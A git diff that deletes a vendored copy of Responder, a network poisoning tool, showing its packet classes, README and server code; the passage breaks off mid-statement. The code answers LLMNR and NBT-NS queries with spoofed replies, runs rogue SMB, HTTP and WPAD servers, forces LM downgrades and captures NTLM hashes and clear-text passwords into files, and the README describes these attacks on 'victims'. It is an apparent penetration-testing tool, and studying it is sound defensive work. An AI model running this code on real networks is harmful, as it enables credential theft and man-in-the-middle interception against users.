self.fields["OpHeadASNIDLen"] = struct.pack(">i", len(OperationPacketLen)) - self.fields["SequenceHeaderLen"] = struct.pack(">B", len(NTLMMessageLen)) - - ##### Workstation Offset Calculation: - self.fields["NTLMSSPNtWorkstationBuffOffset"] = struct.pack("i", len(''.join(payload))) - return length - -class Packet(): - fields = OrderedDict([ - ("data", ""), - ]) - def __init__(self, **kw): - self.fields = OrderedDict(self.__class__.fields) - for k,v in kw.items(): - if callable(v): - self.fields[k] = v(self.fields[k]) - else: - self.fields[k] = v - def __str__(self): - return "".join(map(str, self.fields.values())) - - -class SMBHeader(Packet): - fields = OrderedDict([ - ("proto", "\xff\x53\x4d\x42"), - ("cmd", "\x72"), - ("error-code", "\x00\x00\x00\x00" ), - ("flag1", "\x08"), - ("flag2", "\x01\x00"), - ("pidhigh", "\x00\x00"), - ("signature", "\x00\x00\x00\x00\x00\x00\x00\x00"), - ("reserved", "\x00\x00"), - ("tid", "\x00\x00"), - ("pid", "\x3c\x1b"), - ("uid", "\x00\x00"), - ("mid", "\x00\x00"), - ]) - -class SMBNegoData(Packet): - fields = OrderedDict([ - ("wordcount", "\x00"), - ("bcc", "\x54\x00"), - ("separator1","\x02" ), - ("dialect1", "\x50\x43\x20\x4e\x45\x54\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31\x2e\x30\x00"), - ("separator2","\x02"), - ("dialect2", "\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00"), - ]) - def calculate(self): - CalculateBCC = str(self.fields["separator1"])+str(self.fields["dialect1"])+str(self.fields["separator2"])+str(self.fields["dialect2"]) - self.fields["bcc"] = struct.pack(" -http://www.spiderlabs.com - -INTRODUCTION -============ - -This tool is first an LLMNR, NBT-NS and MDNS responder, it will answer to -*specific* NBT-NS (NetBIOS Name Service) queries based on their name -suffix (see: http://support.microsoft.com/kb/163409). By default, the -tool will only answers to File Server Service request, which is for SMB. -The concept behind this, is to target our answers, and be stealthier on -the network. This also helps to ensure that we don't break legitimate -NBT-NS behavior. You can set the -r option via command line if -you want this tool to answer to the Workstation Service request name -suffix. - -FEATURES -======== - -- Built-in SMB Auth server. - Supports NTLMv1, NTLMv2 hashes with Extended Security NTLMSSP by default. - Successfully tested from Windows 95 to Server 2012 RC, Samba and Mac OSX Lion. - Clear text password is supported for NT4, and LM hashing downgrade when the - --lm option is set. This functionality is enabled by default when the - tool is launched. - -- Built-in MSSQL Auth server. - In order to redirect SQL Authentication to this tool, you will need to - set the option -r (NBT-NS queries for SQL Server lookup are using - the Workstation Service name suffix) for systems older than windows - Vista (LLMNR will be used for Vista and higher). This server supports - NTLMv1, LMv2 hashes. This functionality was successfully tested on - Windows SQL Server 2005 & 2008. - -- Built-in HTTP Auth server. - In order to redirect HTTP Authentication to this tool, you will need - to set the option -r for Windows version older than Vista (NBT-NS - queries for HTTP server lookup are sent using the Workstation Service - name suffix). For Vista and higher, LLMNR will be used. This server - supports NTLMv1, NTLMv2 hashes *and* Basic Authentication. This server - was successfully tested on IE 6 to IE 10, Firefox, Chrome, Safari. - Note: This module also works for WebDav NTLM authentication issued from - Windows WebDav clients (WebClient). You can now send your custom files to a victim. - -- Built-in HTTPS Auth server. - In order to redirect HTTPS Authentication to this tool, you will need -  to set the -r option for Windows versions older than Vista (NBT-NS -  queries for HTTP server lookups are sent using the Workstation Service -  name suffix). For Vista and higher, LLMNR will be used. This server -  supports NTLMv1, NTLMv2, *and* Basic Authentication. This server -  was successfully tested on IE 6 to IE 10, Firefox, Chrome, and Safari. -  The folder Cert/ was added and contain 2 default keys, including a dummy -  private key. This is *intentional*, the purpose is to have Responder -  working out of the box. A script was added in case you need to generate -  your own self signed key pair. - -- Built-in LDAP Auth server. - In order to redirect LDAP Authentication to this tool, you will need - to set the option -r for Windows version older than Vista (NBT-NS - queries for HTTP server lookup are sent using the Workstation Service - name suffix). For Vista and higher, LLMNR will be used. This server - supports NTLMSSP hashes and Simple Authentication (clear text authentication). - This server was successfully tested on Windows Support tool "ldp" and LdapAdmin. - -- Built-in FTP Auth server. - This module will collect FTP clear text credentials. - -- Built-in small DNS server. This server will answer type A queries. This - is really handy when it's combined with ARP spoofing. - -- All hashes are printed to stdout and dumped in an unique file John - Jumbo compliant, using this format: - (SMB or MSSQL or HTTP)-(ntlm-v1 or v2 or clear-text)-Client_IP.txt - The file will be located in the current folder. - -- Responder will logs all its activity to a file Responder-Session.log. - -- When the option -f is set to "On", Responder will fingerprint every host who issued - an LLMNR/NBT-NS query. All capture modules still work while in fingerprint mode. - -- Browser Listener finds the PDC in stealth mode. - -- Icmp Redirect for MITM on Windows XP/2003 and earlier Domain members. This attack combined with - the DNS module is pretty effective. - -- WPAD rogue transparent proxy server. This module will capture all HTTP requests from anyone launching Internet Explorer on the network. This module is higly effective. You can now send your custom Pac script to a victim and inject HTML into the server's responses. See Responder.conf. This module is now enabled by default. - -- Analyze mode: This module allows you to see NBT-NS, BROWSER, LLMNR requests from which workstation to which workstation without poisoning any requests. Also, you can map domains, MSSQL servers, workstations passively, see if ICMP Redirects attacks are plausible on your subnet. - -- Responder is now using a configuration file. See Responder.conf. - -- Built-in POP3 auth server. This module will collect POP3 plaintext credentials - -- Built-in SMTP auth server. This module will collect PLAIN/LOGIN clear text credentials. - -CONSIDERATIONS -============== - -- This tool listen on several port: UDP 137, UDP 138, UDP 53, UDP/TCP 389,TCP 1433, - TCP 80, TCP 139, TCP 445, TCP 21, TCP 3141,TCP 25, TCP 110, TCP 587 and Multicast UDP 5553. - If you run Samba on your system, stop smbd and nmbd and all other - services listening on these ports. - For Ubuntu users: - Edit this file /etc/NetworkManager/NetworkManager.conf and comment the line : "dns=dnsmasq". - Then kill dnsmasq with this command (as root): killall dnsmasq -9 - -- Any rogue server can be turn off in Responder.conf. - -- You can set a network interface via command line switch -I. Default is all. - -- This tool is not meant to work on Windows. - - -USAGE -===== - -First of all, please take a look at Responder.conf and set it for your needs. -Running this tool: - -- ./Responder.py [options] - -Usage Example: - -./Responder.py -i 10.20.30.40 -w -r -f - -or: - -python Responder.py -i 10.20.30.40 -wrf - -Options List: - - -h, --help show this help message and exit - - -A, --analyze Analyze mode. This option allows you to see NBT-NS, - BROWSER, LLMNR requests from which workstation to - which workstation without poisoning anything. - - -i 10.20.30.40, --ip=10.20.30.40 - The ip address to redirect the traffic to. (usually - yours) - - -I eth0, --interface=eth0 Network interface to use - - -b, --basic Set this if you want to return a Basic HTTP - authentication. If not set, an NTLM authentication - will be returned. - - -r, --wredir Set this to enable answers for netbios wredir suffix - queries. Answering to wredir will likely break stuff - on the network (like classics 'nbns spoofer' would). - Default value is therefore set to False - - -d, --NBTNSdomain Set this to enable answers for netbios domain suffix - queries. Answering to domain suffixes will likely - break stuff on the network (like a classic 'nbns - spoofer' would). Default value is therefore set to - False - - -f, --fingerprint This option allows you to fingerprint a host that - issued an NBT-NS or LLMNR query. - - -w, --wpad Set this to start the WPAD rogue proxy server. Default - value is False - - -F, --ForceWpadAuth Set this if you want to force NTLM/Basic - authentication on wpad.dat file retrieval. This might - cause a login prompt in some specific cases. - Therefore, default value is False - - --lm Set this if you want to force LM hashing downgrade for - Windows XP/2003 and earlier. Default value is False - - -v More verbose - - -For more information read these posts: -http://blog.spiderlabs.com/2012/10/introducing-responder-10.html -http://blog.spiderlabs.com/2013/01/owning-windows-networks-with-responder-17.html -http://blog.spiderlabs.com/2013/02/owning-windows-network-with-responder-part-2.html -http://blog.spiderlabs.com/2014/02/responder-20-owning-windows-networks-part-3.html - -Follow our latest updates on twitter: -https://twitter.com/PythonResponder - -COPYRIGHT -========= - -NBT-NS/LLMNR Responder -Created by Laurent Gaffie -Copyright (C) 2013 Trustwave Holdings, Inc. - -This program is free software: you can redistribute it and/or modify -it under the terms of the GNU General Public License as published by -the Free Software Foundation, either version 3 of the License, or -(at your option) any later version. - -This program is distributed in the hope that it will be useful, -but WITHOUT ANY WARRANTY; without even the implied warranty of -MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -GNU General Public License for more details. - -You should have received a copy of the GNU General Public License -along with this program. If not, see diff --git a/libs/responder/RelayPackets.py b/libs/responder/RelayPackets.py deleted file mode 100644 index 08071fa..0000000 --- a/libs/responder/RelayPackets.py +++ /dev/null @@ -1,480 +0,0 @@ -# NBT-NS/LLMNR Responder -# Created by Laurent Gaffie -# Copyright (C) 2014 Trustwave Holdings, Inc. -# -# This program is free software: you can redistribute it and/or modify -# it under the terms of the GNU General Public License as published by -# the Free Software Foundation, either version 3 of the License, or -# (at your option) any later version. -# -# This program is distributed in the hope that it will be useful, -# but WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -# GNU General Public License for more details. -# -# You should have received a copy of the GNU General Public License -# along with this program. If not, see . -import struct -from odict import OrderedDict - -class Packet(): - fields = OrderedDict([ - ("data", ""), - ]) - def __init__(self, **kw): - self.fields = OrderedDict(self.__class__.fields) - for k,v in kw.items(): - if callable(v): - self.fields[k] = v(self.fields[k]) - else: - self.fields[k] = v - def __str__(self): - return "".join(map(str, self.fields.values())) -################################################################################## -#SMB Client Stuff -################################################################################## - -def longueur(payload): - length = struct.pack(">i", len(''.join(payload))) - return length - -class SMBHeader(Packet): - fields = OrderedDict([ - ("proto", "\xff\x53\x4d\x42"), - ("cmd", "\x72"), - ("error-code", "\x00\x00\x00\x00" ), - ("flag1", "\x00"), - ("flag2", "\x00\x00"), - ("pidhigh", "\x00\x00"), - ("signature", "\x00\x00\x00\x00\x00\x00\x00\x00"), - ("reserved", "\x00\x00"), - ("tid", "\x00\x00"), - ("pid", "\x00\x4e"), - ("uid", "\x00\x08"), - ("mid", "\x00\x00"), - ]) - -class SMBNego(Packet): - fields = OrderedDict([ - ("Wordcount", "\x00"), - ("Bcc", "\x62\x00"), - ("Data", "") - ]) - - def calculate(self): - self.fields["Bcc"] = struct.pack("i", len(''.join(payload))) - return length - -#Set MID SMB Header field. -def midcalc(data): - pack=data[34:36] - return pack - -#Set UID SMB Header field. -def uidcalc(data): - pack=data[32:34] - return pack - -#Set PID SMB Header field. -def pidcalc(data): - pack=data[30:32] - return pack - -#Set TID SMB Header field. -def tidcalc(data): - pack=data[28:30] - return pack - -#SMB Header answer packet. -class SMBHeader(Packet): - fields = OrderedDict([ - ("proto", "\xff\x53\x4d\x42"), - ("cmd", "\x72"), - ("errorcode", "\x00\x00\x00\x00" ), - ("flag1", "\x80"), - ("flag2", "\x00\x00"), - ("pidhigh", "\x00\x00"), - ("signature", "\x00\x00\x00\x00\x00\x00\x00\x00"), - ("reserved", "\x00\x00"), - ("tid", "\x00\x00"), - ("pid", "\xff\xfe"), - ("uid", "\x00\x00"), - ("mid", "\x00\x00"), - ]) - -#SMB Negotiate Answer packet. -class SMBNegoAns(Packet): - fields = OrderedDict([ - ("Wordcount", "\x11"), - ("Dialect", ""), - ("Securitymode", "\x03"), - ("MaxMpx", "\x32\x00"), - ("MaxVc", "\x01\x00"), - ("Maxbuffsize", "\x04\x11\x00\x00"), - ("Maxrawbuff", "\x00\x00\x01\x00"), - ("Sessionkey", "\x00\x00\x00\x00"), - ("Capabilities", "\xfd\x43\x00\x00"), - ("Systemtime", "\xc2\x74\xf2\x53\x70\x02\xcf\x01\x2c\x01"), - ("Keylength", "\x08"), - ("Bcc", "\x10\x00"), - ("Key", "\x0d\x0d\x0d\x0d\x0d\x0d\x0d\x0d"), - ("Domain", ""), - - ]) - - def calculate(self): - - ##Then calculate. - CompleteBCCLen = str(self.fields["Key"])+str(self.fields["Domain"]) - self.fields["Bcc"] = struct.pack(". - -import sys -import struct -import SocketServer -import re -import socket -import thread -import Fingerprint -import random -import os -import BaseHTTPServer -import select -import urlparse -import zlib -import string -import time - -from SocketServer import TCPServer, UDPServer, ThreadingMixIn, StreamRequestHandler, BaseRequestHandler, BaseServer -from Fingerprint import RunSmbFinger,OsNameClientVersion -from odict import OrderedDict -from socket import inet_aton -from random import randrange -from core.sslstrip.DnsCache import DnsCache - -def IsOsX(): - Os_version = sys.platform - if Os_version == "darwin": - return True - else: - return False - -def OsInterfaceIsSupported(INTERFACE): - if INTERFACE != "Not set": - if IsOsX(): - return False - else: - return True - if INTERFACE == "Not set": - return False - -def Analyze(AnalyzeMode): - if AnalyzeMode == True: - return True - else: - return False - -#Logger -#CommandLine = str(sys.argv) -import logging -#logging.basicConfig(filename="./logs/" + SessionLog, level=logging.INFO, format='%(asctime)s %(message)s', datefmt='%m/%d/%Y %I:%M:%S %p') -#StartMessage = 'Responder Started\nCommand line args:%s' %(CommandLine) -#logging.warning(StartMessage) - -Log2Filename = "./logs/LLMNR-NBT-NS.log" -logger2 = logging.getLogger('LLMNR/NBT-NS') -logger2.addHandler(logging.FileHandler(Log2Filename,'a')) - -AnalyzeFilename = "./logs/Analyze-LLMNR-NBT-NS.log" -logger3 = logging.getLogger('Analyze LLMNR/NBT-NS') -logger3.addHandler(logging.FileHandler(AnalyzeFilename,'a')) - -#Function used to write captured hashs to a file. -def WriteData(outfile,data, user): - if os.path.isfile(outfile) == False: - with open(outfile,"w") as outf: - outf.write(data) - outf.write("\n") - outf.close() - if os.path.isfile(outfile) == True: - with open(outfile,"r") as filestr: - if re.search(user.encode('hex'), filestr.read().encode('hex')): - filestr.close() - return False - if re.search(re.escape("$"), user): - filestr.close() - return False - else: - with open(outfile,"a") as outf2: - outf2.write(data) - outf2.write("\n") - outf2.close() - -def PrintData(outfile,user): - if Verbose == True: - return True - if os.path.isfile(outfile) == True: - with open(outfile,"r") as filestr: - if re.search(user.encode('hex'), filestr.read().encode('hex')): - filestr.close() - return False - if re.search(re.escape("$"), user): - filestr.close() - return False - else: - return True - else: - return True - -def PrintLLMNRNBTNS(outfile,Message): - if Verbose == True: - return True - if os.path.isfile(outfile) == True: - with open(outfile,"r") as filestr: - if re.search(re.escape(Message), filestr.read()): - filestr.close() - return False - else: - return True - else: - return True - - -#Packet class handling all packet generation (see odict.py). -class Packet(): - fields = OrderedDict([ - ("data", ""), - ]) - def __init__(self, **kw): - self.fields = OrderedDict(self.__class__.fields) - for k,v in kw.items(): - if callable(v): - self.fields[k] = v(self.fields[k]) - else: - self.fields[k] = v - def __str__(self): - return "".join(map(str, self.fields.values())) - -#Function name self-explanatory -def Is_Finger_On(Finger_On_Off): - if Finger_On_Off == True: - return True - if Finger_On_Off == False: - return False - -def RespondToSpecificHost(RespondTo): - if len(RespondTo)>=1 and RespondTo != ['']: - return True - else: - return False - -def RespondToSpecificName(RespondToName): - if len(RespondToName)>=1 and RespondToName != ['']: - return True - else: - return False - -def RespondToIPScope(RespondTo, ClientIp): - if ClientIp in RespondTo: - return True - else: - return False - -def RespondToNameScope(RespondToName, Name): - if Name in RespondToName: - return True - else: - return False - -##Dont Respond to these hosts/names. -def DontRespondToSpecificHost(DontRespondTo): - if len(DontRespondTo)>=1 and DontRespondTo != ['']: - return True - else: - return False - -def DontRespondToSpecificName(DontRespondToName): - if len(DontRespondToName)>=1 and DontRespondToName != ['']: - return True - else: - return False - -def DontRespondToIPScope(DontRespondTo, ClientIp): - if ClientIp in DontRespondTo: - return True - else: - return False - -def DontRespondToNameScope(DontRespondToName, Name): - if Name in DontRespondToName: - return True - else: - return False -################################################################################## -#NBT NS Stuff -################################################################################## - -#NBT-NS answer packet. -class NBT_Ans(Packet): - fields = OrderedDict([ - ("Tid", ""), - ("Flags", "\x85\x00"), - ("Question", "\x00\x00"), - ("AnswerRRS", "\x00\x01"), - ("AuthorityRRS", "\x00\x00"), - ("AdditionalRRS", "\x00\x00"), - ("NbtName", ""), - ("Type", "\x00\x20"), - ("Classy", "\x00\x01"), - ("TTL", "\x00\x00\x00\xa5"), - ("Len", "\x00\x06"), - ("Flags1", "\x00\x00"), - ("IP", "\x00\x00\x00\x00"), - ]) - - def calculate(self,data): - self.fields["Tid"] = data[0:2] - self.fields["NbtName"] = data[12:46] - self.fields["IP"] = inet_aton(OURIP) - -def NBT_NS_Role(data): - Role = { - "\x41\x41\x00":"Workstation/Redirector Service.", - "\x42\x4c\x00":"Domain Master Browser. This name is likely a domain controller or a homegroup.)", - "\x42\x4d\x00":"Domain controller service. This name is a domain controller.", - "\x42\x4e\x00":"Local Master Browser.", - "\x42\x4f\x00":"Browser Election Service.", - "\x43\x41\x00":"File Server Service.", - "\x41\x42\x00":"Browser Service.", - } - - if data in Role: - return Role[data] - else: - return "Service not known." - -# Define what are we answering to. -def Validate_NBT_NS(data,Wredirect): - if Analyze(AnalyzeMode): - return False - - if NBT_NS_Role(data[43:46]) == "File Server Service.": - return True - - if NBTNSDomain == True: - if NBT_NS_Role(data[43:46]) == "Domain controller service. This name is a domain controller.": - return True - - if Wredirect == True: - if NBT_NS_Role(data[43:46]) == "Workstation/Redirector Service.": - return True - - else: - return False - -def Decode_Name(nbname): - #From http://code.google.com/p/dpkt/ with author's permission. - try: - if len(nbname) != 32: - return nbname - l = [] - for i in range(0, 32, 2): - l.append(chr(((ord(nbname[i]) - 0x41) << 4) | - ((ord(nbname[i+1]) - 0x41) & 0xf))) - return filter(lambda x: x in string.printable, ''.join(l).split('\x00', 1)[0].replace(' ', '')) - except: - return "Illegal NetBIOS name" - -# NBT_NS Server class. -class NB(BaseRequestHandler): - - def handle(self): - data, socket = self.request - Name = Decode_Name(data[13:45]) - - if DontRespondToSpecificHost(DontRespondTo): - if RespondToIPScope(DontRespondTo, self.client_address[0]): - return None - - if DontRespondToSpecificName(DontRespondToName) and DontRespondToNameScope(DontRespondToName.upper(), Name.upper()): - return None - - if Analyze(AnalyzeMode): - if data[2:4] == "\x01\x10": - if Is_Finger_On(Finger_On_Off): - try: - Finger = RunSmbFinger((self.client_address[0],445)) - Message = "[Analyze mode: NBT-NS] Host: %s is looking for : %s. Service requested is: %s.\nOs Version is: %s Client Version is: %s"%(self.client_address[0], Name,NBT_NS_Role(data[43:46]),Finger[0],Finger[1]) - logger3.warning(Message) - except Exception: - Message = "[Analyze mode: NBT-NS] Host: %s is looking for : %s. Service requested is: %s\n"%(self.client_address[0], Name,NBT_NS_Role(data[43:46])) - logger3.warning(Message) - if PrintLLMNRNBTNS(AnalyzeFilename,Message): - print Message - else: - Message = "[Analyze mode: NBT-NS] Host: %s is looking for : %s. Service requested is: %s"%(self.client_address[0], Name,NBT_NS_Role(data[43:46])) - if PrintLLMNRNBTNS(AnalyzeFilename,Message): - print Message - logger3.warning(Message) - - if RespondToSpecificHost(RespondTo) and Analyze(AnalyzeMode) == False: - if RespondToIPScope(RespondTo, self.client_address[0]): - if data[2:4] == "\x01\x10": - if Validate_NBT_NS(data,Wredirect): - if RespondToSpecificName(RespondToName) == False: - DnsCache.getInstance().setCustomRes(Name.lower()) - buff = NBT_Ans() - buff.calculate(data) - for x in range(1): - socket.sendto(str(buff), self.client_address) - Message = 'NBT-NS Answer sent to: %s. The requested name was : %s'%(self.client_address[0], Name) - logging.warning(Message) - if PrintLLMNRNBTNS(Log2Filename,Message): - print Message - logger2.warning(Message) - if Is_Finger_On(Finger_On_Off): - try: - Finger = RunSmbFinger((self.client_address[0],445)) - print '[+] OsVersion is:%s'%(Finger[0]) - print '[+] ClientVersion is :%s'%(Finger[1]) - logging.warning('[+] OsVersion is:%s'%(Finger[0])) - logging.warning('[+] ClientVersion is :%s'%(Finger[1])) - except Exception: - logging.warning('[+] Fingerprint failed for host: %s'%(self.client_address[0])) - pass - if RespondToSpecificName(RespondToName) and RespondToNameScope(RespondToName.upper(), Name.upper()): - DnsCache.getInstance().setCustomRes(Name.lower()) - buff = NBT_Ans() - buff.calculate(data) - for x in range(1): - socket.sendto(str(buff), self.client_address) - Message = 'NBT-NS Answer sent to: %s. The requested name was : %s'%(self.client_address[0], Name) - logging.warning(Message) - if PrintLLMNRNBTNS(Log2Filename,Message): - print Message - logger2.warning(Message) - if Is_Finger_On(Finger_On_Off): - try: - Finger = RunSmbFinger((self.client_address[0],445)) - print '[+] OsVersion is:%s'%(Finger[0]) - print '[+] ClientVersion is :%s'%(Finger[1]) - logging.warning('[+] OsVersion is:%s'%(Finger[0])) - logging.warning('[+] ClientVersion is :%s'%(Finger[1])) - except Exception: - logging.warning('[+] Fingerprint failed for host: %s'%(self.client_address[0])) - pass - else: - pass - else: - pass - - else: - if data[2:4] == "\x01\x10": - if Validate_NBT_NS(data,Wredirect) and Analyze(AnalyzeMode) == False: - if RespondToSpecificName(RespondToName) and RespondToNameScope(RespondToName.upper(), Name.upper()): - DnsCache.getInstance().setCustomRes(Name.lower()) - buff = NBT_Ans() - buff.calculate(data) - for x in range(1): - socket.sendto(str(buff), self.client_address) - Message = 'NBT-NS Answer sent to: %s. The requested name was : %s'%(self.client_address[0], Name) - logging.warning(Message) - if PrintLLMNRNBTNS(Log2Filename,Message): - print Message - logger2.warning(Message) - if Is_Finger_On(Finger_On_Off): - try: - Finger = RunSmbFinger((self.client_address[0],445)) - print '[+] OsVersion is:%s'%(Finger[0]) - print '[+] ClientVersion is :%s'%(Finger[1]) - logging.warning('[+] OsVersion is:%s'%(Finger[0])) - logging.warning('[+] ClientVersion is :%s'%(Finger[1])) - except Exception: - logging.warning('[+] Fingerprint failed for host: %s'%(self.client_address[0])) - pass - if RespondToSpecificName(RespondToName) == False: - DnsCache.getInstance().setCustomRes(Name.lower()) - buff = NBT_Ans() - buff.calculate(data) - for x in range(1): - socket.sendto(str(buff), self.client_address) - Message = 'NBT-NS Answer sent to: %s. The requested name was : %s'%(self.client_address[0], Name) - logging.warning(Message) - if PrintLLMNRNBTNS(Log2Filename,Message): - print Message - logger2.warning(Message) - if Is_Finger_On(Finger_On_Off): - try: - Finger = RunSmbFinger((self.client_address[0],445)) - print '[+] OsVersion is:%s'%(Finger[0]) - print '[+] ClientVersion is :%s'%(Finger[1]) - logging.warning('[+] OsVersion is:%s'%(Finger[0])) - logging.warning('[+] ClientVersion is :%s'%(Finger[1])) - except Exception: - logging.warning('[+] Fingerprint failed for host: %s'%(self.client_address[0])) - pass - else: - pass - -################################################################################## -#Browser Listener and Lanman Finger -################################################################################## -from RAPLANMANPackets import * - -def WorkstationFingerPrint(data): - Role = { - "\x04\x00" :"Windows 95", - "\x04\x10" :"Windows 98", - "\x04\x90" :"Windows ME", - "\x05\x00" :"Windows 2000", - "\x05\x00" :"Windows XP", - "\x05\x02" :"Windows 2003", - "\x06\x00" :"Windows Vista/Server 2008", - "\x06\x01" :"Windows 7/Server 2008R2", - } - - if data in Role: - return Role[data] - else: - return False - -def PrintServerName(data, entries): - if entries == 0: - pass - else: - entrieslen = 26*entries - chunks, chunk_size = len(data[:entrieslen]), entrieslen/entries - ServerName = [data[i:i+chunk_size] for i in range(0, chunks, chunk_size) ] - l =[] - for x in ServerName: - if WorkstationFingerPrint(x[16:18]): - l.append(x[:16].replace('\x00', '')+'\n [-]Os version is:%s'%(WorkstationFingerPrint(x[16:18]))) - else: - l.append(x[:16].replace('\x00', '')) - - return l - -def ParsePacket(Payload): - PayloadOffset = struct.unpack(' 260: - SSPIStart = data[79:] - LMhashLen = struct.unpack(' 260: - SSPIStart = data[79:] - LMhashLen = struct.unpack(' 60: - outfile = os.path.join(ResponderPATH,"SMB-NTLMv2-Client-"+client+".txt") - NtHash = SSPIStart[NthashOffset:NthashOffset+NthashLen].encode("hex").upper() - DomainLen = struct.unpack(' 25: - Hash = data[65+LMhashLen:65+LMhashLen+NthashLen] - logging.warning('[+]SMB-NTLMv2 hash captured from :%s'%(client)) - outfile = os.path.join(ResponderPATH,"SMB-NTLMv2-Client-"+client+".txt") - pack = tuple(data[89+NthashLen:].split('\x00\x00\x00'))[:2] - var = [e.replace('\x00','') for e in data[89+NthashLen:Bcc+60].split('\x00\x00\x00')[:2]] - Username, Domain = tuple(var) - Writehash = Username+"::"+Domain+":"+NumChal+":"+Hash.encode('hex')[:32].upper()+":"+Hash.encode('hex')[32:].upper() - if PrintData(outfile,Username+"::"+Domain): - print "[+]SMB-NTLMv2 hash captured from :",client - print "[+]SMB-NTLMv2 complete hash is :",Writehash - ParseShare(data) - WriteData(outfile,Writehash, Username+"::"+Domain) - logging.warning('[+]SMB-NTLMv2 complete hash is :%s'%(Writehash)) - if NthashLen == 24: - logging.warning('[+]SMB-NTLMv1 hash captured from :%s'%(client)) - outfile = os.path.join(ResponderPATH,"SMB-NTLMv1-Client-"+client+".txt") - pack = tuple(data[89+NthashLen:].split('\x00\x00\x00'))[:2] - var = [e.replace('\x00','') for e in data[89+NthashLen:Bcc+60].split('\x00\x00\x00')[:2]] - Username, Domain = tuple(var) - writehash = Username+"::"+Domain+":"+data[65:65+LMhashLen].encode('hex').upper()+":"+data[65+LMhashLen:65+LMhashLen+NthashLen].encode('hex').upper()+":"+NumChal - if PrintData(outfile,Username+"::"+Domain): - print "[+]SMB-NTLMv1 hash captured from : ",client - print "[+]SMB complete hash is :", writehash - ParseShare(data) - WriteData(outfile,writehash, Username+"::"+Domain) - logging.warning('[+]SMB-NTLMv1 complete hash is :%s'%(writehash)) - logging.warning('[+]SMB-NTLMv1 Username:%s'%(Username)) - logging.warning('[+]SMB-NTLMv1 Domain (if joined, if not then computer name) :%s'%(Domain)) - except Exception: - raise - -def IsNT4ClearTxt(data): - HeadLen = 36 - Flag2 = data[14:16] - if Flag2 == "\x03\x80": - SmbData = data[HeadLen+14:] - WordCount = data[HeadLen] - ChainedCmdOffset = data[HeadLen+1] - if ChainedCmdOffset == "\x75": - PassLen = struct.unpack(' 2: - Password = data[HeadLen+30:HeadLen+30+PassLen].replace("\x00","") - User = ''.join(tuple(data[HeadLen+30+PassLen:].split('\x00\x00\x00'))[:1]).replace("\x00","") - print "[SMB]Clear Text Credentials: %s:%s" %(User,Password) - logging.warning("[SMB]Clear Text Credentials: %s:%s"%(User,Password)) - -#SMB Server class, NTLMSSP -class SMB1(BaseRequestHandler): - - def handle(self): - try: - while True: - data = self.request.recv(1024) - self.request.settimeout(1) - ##session request 139 - if data[0] == "\x81": - buffer0 = "\x82\x00\x00\x00" - self.request.send(buffer0) - data = self.request.recv(1024) - ##Negotiate proto answer. - if data[8:10] == "\x72\x00": - #Customize SMB answer. - head = SMBHeader(cmd="\x72",flag1="\x88", flag2="\x01\xc8", pid=pidcalc(data),mid=midcalc(data)) - t = SMBNegoKerbAns(Dialect=Parse_Nego_Dialect(data)) - t.calculate() - final = t - packet0 = str(head)+str(final) - buffer0 = longueur(packet0)+packet0 - self.request.send(buffer0) - data = self.request.recv(1024) - ##Session Setup AndX Request - if data[8:10] == "\x73\x00": - IsNT4ClearTxt(data) - head = SMBHeader(cmd="\x73",flag1="\x88", flag2="\x01\xc8", errorcode="\x16\x00\x00\xc0", uid=chr(randrange(256))+chr(randrange(256)),pid=pidcalc(data),tid="\x00\x00",mid=midcalc(data)) - t = SMBSession1Data(NTLMSSPNtServerChallenge=Challenge) - t.calculate() - final = t - packet1 = str(head)+str(final) - buffer1 = longueur(packet1)+packet1 - self.request.send(buffer1) - data = self.request.recv(4096) - if data[8:10] == "\x73\x00": - if Is_Anonymous(data): - head = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x01\xc8",errorcode="\x72\x00\x00\xc0",pid=pidcalc(data),tid="\x00\x00",uid=uidcalc(data),mid=midcalc(data))###should always send errorcode="\x72\x00\x00\xc0" account disabled for anonymous logins. - final = SMBSessEmpty() - packet1 = str(head)+str(final) - buffer1 = longueur(packet1)+packet1 - self.request.send(buffer1) - else: - ParseSMBHash(data,self.client_address[0]) - head = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x01\xc8", errorcode="\x00\x00\x00\x00",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data)) - final = SMBSession2Accept() - final.calculate() - packet2 = str(head)+str(final) - buffer2 = longueur(packet2)+packet2 - self.request.send(buffer2) - data = self.request.recv(1024) - ##Tree Connect IPC Answer - if data[8:10] == "\x75\x00": - ParseShare(data) - head = SMBHeader(cmd="\x75",flag1="\x88", flag2="\x01\xc8", errorcode="\x00\x00\x00\x00", pid=pidcalc(data), tid=chr(randrange(256))+chr(randrange(256)), uid=uidcalc(data), mid=midcalc(data)) - t = SMBTreeData() - t.calculate() - final = t - packet1 = str(head)+str(final) - buffer1 = longueur(packet1)+packet1 - self.request.send(buffer1) - data = self.request.recv(1024) - ##Tree Disconnect. - if data[8:10] == "\x71\x00": - head = SMBHeader(cmd="\x71",flag1="\x98", flag2="\x07\xc8", errorcode="\x00\x00\x00\x00",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data)) - final = "\x00\x00\x00" - packet1 = str(head)+str(final) - buffer1 = longueur(packet1)+packet1 - self.request.send(buffer1) - data = self.request.recv(1024) - ##NT_CREATE Access Denied. - if data[8:10] == "\xa2\x00": - head = SMBHeader(cmd="\xa2",flag1="\x98", flag2="\x07\xc8", errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data)) - final = "\x00\x00\x00" - packet1 = str(head)+str(final) - buffer1 = longueur(packet1)+packet1 - self.request.send(buffer1) - data = self.request.recv(1024) - ##Trans2 Access Denied. - if data[8:10] == "\x25\x00": - head = SMBHeader(cmd="\x25",flag1="\x98", flag2="\x07\xc8", errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data)) - final = "\x00\x00\x00" - packet1 = str(head)+str(final) - buffer1 = longueur(packet1)+packet1 - self.request.send(buffer1) - data = self.request.recv(1024) - ##LogOff. - if data[8:10] == "\x74\x00": - head = SMBHeader(cmd="\x74",flag1="\x98", flag2="\x07\xc8", 